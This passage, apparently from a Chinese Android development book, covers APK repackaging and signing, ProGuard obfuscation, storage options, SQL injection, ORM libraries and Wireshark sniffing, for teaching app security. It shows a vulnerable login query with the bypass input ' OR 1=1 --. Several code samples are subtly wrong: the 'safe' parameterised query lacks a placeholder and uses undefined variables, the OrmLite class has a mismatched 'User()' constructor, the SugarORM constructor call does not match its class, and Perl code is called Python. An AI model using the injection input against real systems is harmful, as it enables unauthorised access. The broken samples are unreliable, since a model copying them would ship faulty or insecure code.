这个命令将在dist文件夹中创建一个名为HelloWorld.apk的文件。然而,还有一件重要的事情要做:签名应用。我们刚才创建的 APK 尚未签名,还不能在任何设备上安装。
首先,我们需要一个keystore来进行签名。如果我们还没有,需要使用如keytool这样的程序来生成一个:
keytool -genkey -v -keystore example.keystore -alias example_alias -keyalg RSA -validity 100000
我们需要输入一些密钥信息。虽然这不是严格要求的,因为唯一目的是作为一个重新打包 APK 的演示,我们仍然需要注意输入的密钥,因为下一步我们需要使用它。生成后,使用jarsigner对生成的 APK 进行签名的过程非常简单:
jarsigner -verbose -keystore example.keystore ./HelloWorld/dist/HelloWorld.apk alias_name
我们最终的应用将展示以下界面:
保护我们的应用
我们已经看到,如果没有适当的措施,反编译和重新编译应用程序是微不足道的。目的不仅仅是为了将应用程序当作自己的,我们还可以轻松访问不应被每个人访问的令牌和代码。
在本章中,我们将探讨不同的想法,但主要的是应用混淆。混淆是使代码对人类不可读,减慢或停止理解的过程。在某些领域,混淆是一件大事,甚至还有创建最佳混淆机制的竞赛。以下是一个 Python 语言中混淆代码的示例,它会在屏幕上显示文本 "Just another Perl / Unix hacker"(此示例来自维基百科,en.wikipedia.org/wiki/Obfuscation_(software)):
@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{ @p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord ($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&& close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print
特别是 Android,以及更广泛的 Java,使用 ProGuard 作为默认机制来对源代码应用混淆。在 Android 应用中激活 ProGuard 是很简单的。让我们导航到 build.gradle。我们很可能有一些定义好的 buildTypes(release 和 debug 是最常见的)。一种常见的做法是只为 release buildType 激活 ProGuard:
release {
debuggable false
minifyEnabled true
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
signingConfig signingConfigs.release
}
minifyEnabled true 将激活 ProGuard 使我们的发布版本生效。让我们看看一个典型的与 Android 一起使用的 ProGuard 文件是什么样的:
-injars bin/classes
-injars libs
-outjars bin/classes-processed.jar
-libraryjars /usr/local/java/android-sdk/platforms/android-9/android.jar
-dontpreverify
-repackageclasses ''
-allowaccessmodification
-optimizations !code/simplification/arithmetic
-keepattributes *Annotation*
-keep public class * extends android.app.Activity
-keep public class * extends android.app.Application
-keep public class * extends android.app.Service
-keep public class * extends android.content.BroadcastReceiver
-keep public class * extends android.content.ContentProvider
-keep public class * extends android.view.View {
public <init>(android.content.Context);
public <init>(android.content.Context, android.util.AttributeSet);
public <init>(android.content.Context, android.util.AttributeSet, int);
public void set*(...);
}
-keepclasseswithmembers class * {
public <init>(android.content.Context, android.util.AttributeSet);
}
-keepclasseswithmembers class * {
public <init>(android.content.Context, android.util.AttributeSet, int);
}
-keepclassmembers class * extends android.content.Context {
public void *(android.view.View);
public void *(android.view.MenuItem);
}
-keepclassmembers class * implements android.os.Parcelable {
static ** CREATOR;
}
-keepclassmembers class **.R$* {
public static <fields>;
}
-keepclassmembers class * {
@android.webkit.JavascriptInterface <methods>;
}
ProGuard 通常需要为新添加的库包含一个自定义配置,特别是使用反射的库。在 Android Studio 项目中,ProGuard 文件将定期更新。
自从支持库 19.1 版本以来,函数 @Keep 被包含在注释库的一部分中。这个注释可以用来指定一个方法不应该被混淆。当我们通过反射访问方法时,这特别有用。
不安全的存储
存储是将信息保存到我们的设备或计算机的过程。Android API 基本上提供了五种不同的存储类型:
SharedPreferences
第一种也是最基本的是 SharedPreferences。这种存储类型将信息保存为 XML 文件,在私有文件夹中,我们保存的作为与每个值相关联的原始对。在下面的屏幕截图中,我们可以看到 shared_prefs 文件夹下的所有文件。这些文件是 SharedPreferences 文件。
如果我们从设备中提取其中一个,我们将能够看到以下内容:
XML 文件内的每个值都有以下结构:
<string name="AppStateRepository:AppVersion">2.0.0_1266 p P 1/11/16 10:53 AM</string>
名称是由文件名和变量名(我们用来存储值的名称)的组合构成的。原始类型 SharedPreference 也在 XML 标签内被界定(例如,<string…</string>)。最后,值包含在值字段内。
为了存储 SharedPreferences,我们需要使用类似于以下代码段的代码:
SharedPreferences settings = getSharedPreferences("NameOfPreferences", 0);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean("exampleValue", false);
为了提交更改,我们需要:
editor.commit();
为了恢复我们刚才存储的值,我们需要进行如下操作:
SharedPreferences settings = getSharedPreferences("NameOfPreferences", 0);
boolean exampleValue = settings.getBoolean("exampleValue", false);
InternalStorage(内部存储)
另一种是 InternalStorage。这意味着将信息存储在设备的内部内存中;只能由应用程序访问。如果用户卸载应用程序,此文件夹也将被卸载。
这是我们如何在 InternalStorage 中存储信息的方法:
String FILENAME = "hello_file";
String name = "hello world!";
FileOutputStream fos = openFileOutput(FILENAME, Context.MODE_PRIVATE);
fos.write(name.getBytes());
fos.close();
上述代码段将会在名为 hello_file 的文件中存储字符串 "hello_world"。
存储文件有不同的模式,不仅仅是我们在本段中看到的 MODE_PRIVATE:
-
MODE_APPEND:这个模式意味着如果文件已经存在,它将在文件末尾添加内容,而不是覆盖它。 -
MODE_WORLD_READABLE:这是一个危险的文件模式,因为它可以被整个系统读取,可能会造成安全漏洞。如果你想使用一种在应用程序之间共享信息的方法,最好使用 Android 内置的机制之一。这个模式为整个系统提供了对文件的读取模式。 -
MODE_WORLD_WRITEABLE:这与之前提到的类似,但在这个情况下,它提供了写入权限。
内部文件还有一个有趣的用途。如果我们使用 getCacheDir() 函数打开它们,可以作为缓存机制。通过这种方式打开文件,我们告诉 Android,当系统内存不足时,可以收集这个文件。请注意,不能 100%保证 Android 会收集这个文件。因此,除了依赖系统,你应该始终确保文件不会超过一定大小。当用户卸载应用程序时,这些文件将被自动删除:
注意
data/data 文件夹受到保护,未 root 的设备无法访问(它们被称为私有存储)。然而,如果设备被 root 了,它们可以很容易地被读取。这就是为什么我们绝不能在那里存储关键信息。
ExternalStorage(外部存储)
与之前研究的内部文件类似,ExternalStorage 将创建一个文件,但它不是保存到私有文件夹中,而是保存到外部文件夹中(通常是 SD 卡)。为了使用 ExternalStorage,我们需要两个权限:
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
android:maxSdkVersion="18" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"
android:maxSdkVersion="18" />
注意这一行 android:maxSdkVersion="18"。从 API 级别 18 开始,应用程序不再需要写入 ExternalStorage 的权限。然而,由于 Android 极度碎片化,这样做是一个好主意。
读者可能已经想象到,这些权限用于分别写入和读取 ExternalStorage。
为了写入或读取 ExternalStorage,我们首先需要证明它是可用的(例如,可能会发生存储单元未挂载的情况,因此我们的应用程序将无法写入):
public boolean checkIfExternalStorageIsWritable() {
String state = Environment.getExternalStorageState();
if (Environment.MEDIA_MOUNTED.equals(state)) {
return true;
}
return false;
}
public boolean checkIfExternalStorageIsReadable() {
String state = Environment.getExternalStorageState();
if (Environment.MEDIA_MOUNTED.equals(state) ||
Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) {
return true;
}
return false;
}
当确认我们可以访问存储系统后,我们可以继续进行文件的读取或写入操作。在文件中写入内容的过程与 Java 中的操作非常相似:
String filename = FILENAME;
File file = new File(Environment.getExternalStorageDirectory(), filename);
FileOutputStream fos;
fos = new FileOutputStream(file);
fos.write(mediaTagBuffer);
fos.flush();
fos.close();
同样,如果我们想要从 ExternalStorage 中读取文件,可以使用类似的代码片段:
File file = new File(Environment.getExternalStorageDirectory()
.getAbsolutePath(), filename);
删除文件
请记住,使用 ExternalStorage 时,当应用程序被移除时,文件不会被删除。如果应用程序设计不当,我们可能会因为永远不会使用的文件而占用大量空间。
通常的做法是将备份信息存储在 ExternalStorage 中,但你应该问自己这是否是最好的选择。为了评估是否应该使用 ExternalStorage,首先查询设备上可用的自由空间是一个好习惯:
File path = Environment.getExternalStorageDirectory();
StatFs stat = new StatFs(path.getPath());
long blockSize = stat.getBlockSize();
long availableBlocks = stat.getAvailableBlocks();
return Formatter.formatFileSize(this, availableBlocks * blockSize);
可以通过调用以下命令轻松删除文件:
file.delete();
使用外部或内部存储
既然我们知道了这两种可能性,读者可能会询问哪个地方是存储信息的理想选择。
没有银弹,也没有完美答案。答案可能会根据你的限制和试图解决的问题场景而有所不同。然而,请记住以下总结点:
-
即使应用程序被移除,ExternalStorage 中保存的文件仍然存在。另一方面,当应用程序被移除时,InternalStorage 中保存的所有文件也会被移除。
-
InternalStorage 总是可用的。ExternalStorage 的可用性则取决于设备。
-
InternalStorage 提供了更好的保护级别,防止外部访问文件,而 ExternalStorage 中的文件可以从整个应用程序普遍访问。请记住,已获得 root 权限的设备可以随时访问 InternalStorage 和 ExternalStorage。
数据库
Android 原生支持 SQLite 数据库。使用数据库存储的文件保存在一个私有文件夹(/data/data)。Android 原生提供了 SQLiteOpenHelper 对象,可用于存储到表格中。让我们看看使用 SQLiteOpenHelper 的代码示例:
public class ExampleOpenHelper extends SQLiteOpenHelper {
private static final int DATABASE_VERSION = 2;
private static final String EXAMPLE_TABLE_NAME = "example";
private static final String EXAMPLE_TABLE_CREATE =
"CREATE TABLE " + EXAMPLE_TABLE_NAME + " (" +
KEY_WORD + " TEXT, " +
KEY_DEFINITION + " TEXT);";
ExampleOpenHelper (Context context) {
super(context, DATABASE_NAME, null, DATABASE_VERSION);
}
@Override
public void onCreate(SQLiteDatabase db) {
db.execSQL(EXAMPLE_TABLE_CREATE);
}
}
如果数据库版本已经升级,我们可以使用 onUpgrade() 方法来更新数据库架构或在应用程序中执行任何需要的操作。以下截图展示了设备上安装的谷歌应用程序中的一个文件夹数据库:
数据库性能
在 Android 中,可以对 SQLite 数据库进行多项性能优化。这里我们提到其中的一些:
-
如果你的应用程序正在执行单一事务块,使用
db.beginTransaction();和db.endTransaction();进行数据传输。默认情况下,每次你执行事务时,SQLite 运行时都会创建一个包装器,这使得操作成本变高。这仅在当你将此操作作为常规操作执行时(例如,在循环或迭代内部)建议使用。 -
在性能方面,关系是昂贵的。即使你使用了索引,处理关系所需的开销和努力也是相当大的,这很可能会明显减慢你的应用程序。
-
尽可能简化模式,避免不必要的属性。另一方面,模式也不应该过于通用——这会牺牲性能。在模式的代表性和性能之间取得平衡是困难的,但这对于数据库的生存至关重要。
-
避免为需要频繁访问的表创建视图。如果发生这种情况,有时创建一个特定的表并将所有信息存储在那里会更好。
-
尽可能使用
SQLiteStatement。从名字可以推断出,SQLiteStatement是直接针对数据库执行的 SQL 语句。它能够显著提高性能和速度,尤其是与这个列表中的第一点结合使用时。
SQL 注入
与所有数据库系统一样,Android 中的 SQLite 也可能遭受 SQL 注入。
当恶意数据被插入到合法查询中时,就会发生 SQL 注入,通常会对数据库产生严重影响。一个例子可以更好地说明这一点:
public boolean checkLogin(String username, String password) {
boolean bool = false;
Cursor cursor = db.rawQuery("select * from login where USERNAME =
'" + username + "' and PASSWORD = '" + password + "';", null);
if (cursor != null) {
if (cursor.moveToFirst())
bool = true;
cursor.close();
}
return bool;
}
假设输入变量 username 和 password 来自一个表单,用户需要输入它们。在正常情况下,我们预计 SQL 查询会变成这样:
select * from login where USERNAME = 'username' and PASSWORD = 'password'
但让我们假设一下,如果我们的用户是一个恶意的用户,他打算访问我们的数据库。他们可能会输入:
select * from login where USERNAME = '' OR 1=1 --' and PASSWORD = 'irrelevant'
由于他输入的条件是 (1=1) 并且查询的其余部分被注释掉,他实际上可以在不知道任何密码的情况下登录系统。为了防止 SQL 注入,最好的方法是清理正在输入的数据,并默认认为它不可信。为了做到这一点,我们将上述代码片段改成了以下形式:
public boolean checkLogin(String username, String password) {
boolean bool = false;
Cursor cursor = db.rawQuery("select * from login where USERNAME =
? and PASSWORD = ", new String[]{param1, param2});
if (cursor != null) {
if (cursor.moveToFirst())
bool = true;
cursor.close();
}
return bool;
}
通过使用这个简单的方法,我们避免了恶意用户接管我们数据库的可能性。
ORM 框架
除了在 Android 中处理 SQL 存储的纯方法之外,还有一种流行的处理方式称为 ORM 框架。尽管 ORM(对象关系映射)是一个旧范式,但它简化了处理 ORM 对象的任务,将我们从低级查询中抽象出来,使我们能够专注于应用程序的细节。几乎每种语言都有几个 ORM 框架:Java 中的 Hibernate,Ruby 中的 ActiveRecord 等等。Android 有一系列可用于 ORM 目的库:实际上,Android Arsenal 提供了令人惊叹的开源库集合。在这里,我们提供一些库的小例子来展示它们是如何工作的;当然,评估所有利弊并决定是否将其实现到自己的项目中,是读者的责任。
OrmLite
OrmLite 是一个基于 Java 的开源框架,提供了 ORM 功能。请注意,它的名称不是 Android ORM Lite,这意味着它并非专门为 Android 设计的。OrmLite 大量使用注解。让我们看看使用 OrmLite 时类是什么样的一个例子:
@DatabaseTable(tableName = "books")
public class Book {
@DatabaseField(id = true)
private String isbn;
@DatabaseField(id = true)
private String title;
@DatabaseField
private String author;
public User() {
}
public Book(String isbn, String title, String author) {
this.isbn = isbn;
this.title = title;
this.author = author;
}
public String getIsbn() {
return this.isbn;
}
public void setIsbn(String isbn) {
this.isbn = isbn;
}
public String getTitle() {
return this.title;
}
public void setTitle(String title) {
this.title = title;
}
public String getAuthor() {
return this.author;
}
public void setAuthor(String author) {
this.author = author;
}
}
OrmLite 在以下仓库中可以找到适用于 Android 的版本:
github.com/j256/ormlite-android。
SugarORM
SugarORM 是一个专门为 Android 开发的 ORM 引擎,可以从 satyan.github.io/sugar/index.html 下载。如果你在一个使用 Gradle 的应用程序中,它甚至更容易,你只需在你的 Gradle 构建文件中添加一行:
compile 'com.github.satyan:sugar:1.4'
而 SugarORM 将会自动添加到你的项目中。现在是时候更新你的 AndroidManifest.xml 文件了:
<meta-data android:name="DATABASE" android:value="sugar_example.db" />
<meta-data android:name="VERSION" android:value="2" />
<meta-data android:name="QUERY_LOG" android:value="true" />
<meta-data android:name="DOMAIN_PACKAGE_NAME" android:value="com.example" />
这样,我们创建的类似于前面一个的 Book 类看起来是这样的:
public class Book extends SugarRecord<Book> {
String isbn;
String title;
String author;
public Book() { }
public Book(String isbn, String title,String author){
this.isbn = isbn;
this.title = title;
this.author = author;
}
}
在模型创建后添加用户再简单不过了:
Book exampleBook = new Book(getContext(),"isbn","title","author"); exampleBook.save();
GreenDAO
GreenDAO 可以说是 Android 上最快、性能最好的 ORM 引擎。它专门为 Android 设计,因此其开发考虑到了 Droid 平台的特殊性,帮助 ORM 引擎的速度比 OrmLite 快达 4.5 倍。下面的图表来自 GreenDao 的官方网站,它展示了与 OrmLite 在三种不同情况下(插入语句、更新语句或加载实体)的性能比较。
Realm
Realm 是一个相对较新的 ORM 引擎,被提议作为 SQLite(以及 iOS 中的 CoreData)的替代品。Realm 并不是建立在 SQLite 之上,而是建立在它自己的持久化引擎之上。这个引擎的一个优点是它是多平台的,因此可以轻松地在不同的技术之间复用。据说它非常轻量级且快速。它具有简单和简约的本质,如果我们需要执行复杂操作,这也可能是一个缺点。以下面的 Book 示例,这就是我们如何使用 Realm 处理它:
Realm realm = Realm.getInstance(this.getContext());
realm.beginTransaction();
Book book = realm.createObject(Book.class);
book.setIsbn("1111111x11");
book.setTitle("Book Title");
book.setAuthor("Book author");
realm.commitTransaction();
网络
将数据存储在云上、自己的后端或任何其他在线解决方案,如果操作得当(阅读下一节关于与服务器通信时加密的内容),在安全性方面将是最佳选择。为了执行网络操作,Android 默认提供了一些类,同时还有许多框架和库可以提供高级别的层来创建 HTTP 请求。
加密通信
我们怎么强调都不过分,在创建 Web 服务以及与应用程序通信时使用加密的通信渠道有多么重要。
最初,它旨在作为科学机构之间交换文档和信息的协议,因此那时安全性不是一个重要问题。
互联网发展得非常快,最初受限的 HTTPs 突然面临数百万用户之间的互动。有许多资源可以讨论 SSL 以及加密是如何进行的。为了本书的目的,我们将提到 HTTPS(代表HTTP Secure,即 SSL 上的 HTTP)下的通信通常能够抵御中间人攻击,并且不容易被嗅探。然而,攻击者仍然有一些方法可以破解通信通道并窃取通信内容,但这需要更深入的知识和对受害者的访问权限。不过,我们将会提到它们,以防读者想要研究。
嗅探
嗅探是攻击者用来从网络连接中收集信息的主要过程。有趣的是,为了嗅探其他设备的流量,你不需要欺骗它们并让它们连接到你的网络。只需连接到同一个网络就可以轻松完成。
要做到这一点,你需要从其官方网站www.wireshark.org/下载 Wireshark。根据你尝试安装的操作系统的不同,你可能还需要下载一些其他软件包。在无线网卡上开启监控或混杂模式。在 Linux 和各种 BSD 系统中(包括 Macintosh),这个过程相当简单。在 Windows 上,这个过程可能会相当复杂,有时需要特殊的无线网卡或工具。
当我们第一次启动 Wireshark 时,将会显示一个类似的屏幕:
在屏幕中央,将会显示所有可供监控的不同接口列表。这可能因机器而异,但在上一个列表中我们可以看到:
-
Wi-Fi 接口
-
Vboxnet 是与虚拟机对应的接口
-
来自 Macintosh 计算机的 Thunderbolt 接口
-
lo0 或回环是本地机器
-
苹果无线直接链接接口(awdl)
为了测试目的,我们将启动一个模拟器,并选择要监控的 Wi-Fi 接口。
注意
请注意,在你没有权限的网络中嗅探流量,在最好的情况下可能是不友好的行为。在最坏的情况下,你可能会犯下罪行。在将这一知识付诸实践之前,请检查你所在国家或地区的法律情况。
现在让我们从设备开始浏览。如果我们启动浏览器并访问一个没有任何保护的网站,我们将能够显示浏览器执行的所有不同请求:带有其 cookies 的 HTTP GET 操作、不同的资源等等:
在前面的屏幕截图中,我们可以看到 cookies、用户代理、主机……几乎整个 HTTP 请求都是透明的!这就是当我们尝试连接到一个没有 SSL 的 URL 时发生的情况。如果你检查设备上安装的应用程序,你会发现经常有一些应用程序没有使用任何加密,只是以纯文本形式发送信息。
总结
本章节分析了应用程序中的安全措施。安全本身是一个复杂的主题,其内容可以扩展到多本书籍。阅读完本章后,读者将了解数据可能被截获的方式。他们将能够安全地存储信息。可以对代码进行渗透分析,反之,也可以检查应用程序是否在无意中暴露敏感信息。
ProGuard 是一个广泛用于保护我们应用程序的工具。我们建议读者进一步查看官方文档。
在阅读本章之后,读者应该熟悉在 Android 中安全存储信息的所有不同选项,以及它们的优缺点。读者应该能够识别 SQL 注入并知道如何预防。
读者还将了解到,当网络没有得到正确保护时,嗅探流量的可能性。他们将熟悉 Wireshark 及其所提供的可能性。
安全是一个庞大的话题,许多公司和研究组织都在积极投资资源以检测和预防隐私和安全问题。由于篇幅有限,我们未能提及许多其他商业和开源工具。对于感兴趣的用户,我们建议阅读 OWASP 通讯。